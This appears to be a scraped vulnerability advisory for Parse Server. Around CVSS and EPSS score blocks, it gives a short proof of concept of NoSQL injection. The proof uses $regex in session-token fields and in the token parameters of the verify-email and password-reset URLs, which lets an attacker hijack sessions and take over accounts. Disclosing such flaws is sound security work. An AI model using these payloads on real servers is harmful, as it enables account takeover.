CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
EPSS
Percentile
30.9%
("_SessionToken":{"$regex":"r:027f"}}
and find valid accounts this way.Using this method, it’s possible to retrieve accounts without interaction from the users.
GET /parse/users/me HTTP/1.1
{
"_ApplicationId": "appName",
"_JavaScriptKey": "javascriptkey",
"_ClientVersion": "js2.10.0",
"_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
"_SessionToken": {
"$regex": "r:5"
}
}
When trying it with an update query the same thing luckily doesn’t seem to work:
POST /parse/classes/_User/PPNk59jPPZ
If you sign up with someone else’s email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&[email protected]
The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&[email protected]
You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
EPSS
Percentile
30.9%